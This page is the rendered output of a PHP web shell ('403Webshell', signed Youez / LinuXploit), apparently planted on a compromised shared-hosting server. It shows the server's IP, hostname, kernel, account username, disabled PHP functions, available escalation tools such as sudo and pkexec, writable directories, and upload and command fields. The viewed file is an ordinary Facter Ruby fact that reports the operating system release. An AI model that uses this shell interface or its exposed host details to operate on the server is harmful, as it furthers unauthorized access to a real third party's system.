403Webshell
Server IP : 77.68.64.21  /  Your IP : 216.73.217.59
Web Server : Apache
System : Linux hp3-wp-1011352.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els9.x86_64 #1 SMP Fri Jul 10 17:06:31 UTC 2026 x86_64
User : csh2516497 ( 2094697)
PHP Version : 8.3.30
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/ruby/vendor_ruby/facter/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/ruby/vendor_ruby/facter/operatingsystemrelease.rb
# Fact: operatingsystemrelease
#
# Purpose: Returns the release of the operating system.
#
# Resolution:
#   Uses the release key of the os structured hash, which itself
#   operates on the following conditions:
#
#   On RedHat derivatives, returns their `/etc/<variant>-release` file.
#   On Debian, returns `/etc/debian_version`.
#   On Ubuntu, parses `/etc/lsb-release` for the release version.
#   On Suse, derivatives, parses `/etc/SuSE-release` for a selection of version
#   information.
#   On Slackware, parses `/etc/slackware-version`.
#   On Amazon Linux, returns the `lsbdistrelease` value.
#   On Mageia, parses `/etc/mageia-release` for the release version.
#
#   On all remaining systems, returns the kernelrelease fact's value.
#
# Caveats:
#

Facter.add(:operatingsystemrelease) do
  confine do
    !Facter.value("os")["release"]["full"].nil?
  end

  setcode { Facter.value("os")["release"]["full"].to_s }
end

Youez - 2016 - github.com/yon3zu
LinuXploit